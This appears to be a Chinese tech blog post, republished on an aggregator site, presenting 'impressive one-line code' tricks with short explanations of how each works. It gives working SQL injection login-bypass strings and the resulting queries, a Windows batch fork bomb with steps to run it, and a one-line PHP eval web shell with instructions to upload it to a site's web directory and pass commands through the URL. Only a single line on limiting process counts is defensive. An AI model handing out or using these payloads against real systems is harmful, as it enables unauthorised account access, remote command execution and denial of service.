当前位置:网站首页>【云原生】那些看起来很牛X,原理却很简单的一行代码
【云原生】那些看起来很牛X,原理却很简单的一行代码
2022-07-04 03:52:00 【士别三日wyx】
「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
1. 万能密码
没错,就是字面意思,只需要知道账号,然后输入下面这行代码:
账号'and 1 -- a
比如,很多网站的默认账号都是admin,我们就输入 admin'and 1 -- a,密码随便写:

点击登录,成功登录admin账号。

实际上,这是SQL注入的一种利用方式,对于存在注入点的网站,都可以使用。
一般来说,登录功能的代码都是下面这种格式:
select * from user where username = '' and password = '' limit 1,1
我们输入的账号 admin'and 1 -- a和密码1,拼接到SQL里面:
select * from user where username = 'admin'and 1 -- a' and password = '1' limit 1,1
-- 是注释,注释后面的内容不参与编译:
select * from user where username = 'admin'and 1
1 会被转化为 True
select * from user where username = 'admin'and True
只要存在 admin 这个账号,SQL就能查询成功,从而实现登录。
2. 万能账号
上面的代码你得知道账号,但这个你连账号都不用知道:
a' or 1 -- a
在账号处输入 a' or 1 -- a,密码随便写:

点击登录,成功。

原理跟上面大同小异,也是SQL注入的一种利用方式,适用于存在注入的网站。
参数拼接到SQL以后,是下面这样:
select * from user where username = 'a' or 1 -- a' and password = '' limit 1,1
-- 注释后面不编译,1转换为True:
select * from user where username = 'a' or True
or 是或的意思,两边有一个True,结果就返回True,实际执行的SQL是这样的:
select * from user where True
3. fork炸弹
新建一个文本文件,输入 %0|%0

后缀名改成 .bat,有杀毒软件的话应该会提示,建议在虚拟机运行。

打开任务管理器后,双击运行。
你会看到先是CPU跑满,再是内存跑满,然后提示内存不足,然后……
原理其实很简单,就是不停的创建进程,创建速度可以参考小学三年级学过的指数增长。fork炸弹会不停的消耗资源,当资源耗尽时就会蓝屏或者黑屏,重启电脑就可以了。
提示:运行的同时执行taskkill /f /im cmd.exe,会有神奇的事情发生。
限制单个用户可创建的进程数上线,可以在一定程度上防止fork炸弹。
4. 一句话牧马
电影中,黑客通常会在别人电脑中植入后门程序,然后控制别人的电脑,听起来很酷对吧?实际上,最简单的后门,一行代码就够了。
以PHP为例,将包含这行代码的文件,上传到网站的web目录下:
<?[email protected]eval($_GET['shell']);?>
访问这个文件,就能控制别人了。
原理其实很简单,地址栏访问这个文件,利用参数传递命令:
127.0.0.1/shell.php?shell='ls'
后台接收GET请求传递的参数:
<?[email protected]eval('ls');?>
配合@eval 函数可以执行系统命令,从而起到控制的效果。
5. 清理垃圾
PS:有粉丝反应,没有这行代码是没有灵魂的,那就再添一个吧。
很多公司在招聘员工的时候,都会要求应聘者有一定的优化能力。
当你的老板要求你优化代码,提升系统的运行效率时,就可以打出下面这行代码,获得大幅度升职加薪:

边栏推荐
- RPC技术
- I Build a simple microservice project
- 分布式系统:what、why、how
- LevelDB源码解读-SkipList
- [microservice openfeign] use openfeign to remotely call the file upload interface
- 架构实战营 - 第 6 期 模块九之毕业设计
- 苹果CMS仿西瓜视频大气响应式视频模板源码
- Redis cluster uses Lua script. Lua script can also be used for different slots
- UnicodeDecodeError: ‘gbk‘ codec can‘t decode byte 0x98 in position 1093: illegal multibyte sequence
- Touch your hand and bring you a commonjs specification
猜你喜欢

Rhcsa-- day one

Leetcode skimming: binary tree 04 (sequence traversal of binary tree)

Flink学习6:编程模型

RHCSA 04 - 进程管理

如何远程办公更有效率 | 社区征文

Leetcode skimming: binary tree 09 (minimum depth of binary tree)

十字路口通行优先权,十字路口通行规则图解

Restore the subtlety of window position

User defined path and file name of Baidu editor in laravel admin

The maximum expiration time of client secret in azure ad application registration is modified to 2 years
随机推荐
[microservice openfeign] @feignclient detailed explanation
I.MX6U-ALPHA开发板(C语言版本LED驱动实验)
The maximum expiration time of client secret in azure ad application registration is modified to 2 years
Leader: who uses redis expired monitoring to close orders and get out of here!
Modstartblog modern personal blog system v5.2.0 source code download
02 specific implementation of LS command
[csrf-01] basic principle and attack and defense of Cross Site Request Forgery vulnerability
一个漂亮的API文档生成工具
leetcode刷题:二叉树05(翻转二叉树)
hbuildx中夜神模拟器的配置以及热更新
Leetcode brush questions: binary tree 05 (flip binary tree)
2021 RSC | Drug–target affinity prediction using graph neural network and contact maps
Leetcode brush question: binary tree 06 (symmetric binary tree)
JS实现文字滚动 跑马灯效果
Lnk2038 detected a mismatch of "runtimelibrary": the value "md_dynamicrelease" does not match the value "mdd_dynamicdebug" (in main.obj)
Redis:集合Set类型数据的操作命令
UnicodeDecodeError: ‘gbk‘ codec can‘t decode byte 0x98 in position 1093: illegal multibyte sequence
Flink学习6:编程模型
Pytest basic self-study series (I)
dried food! Generation of rare samples based on GaN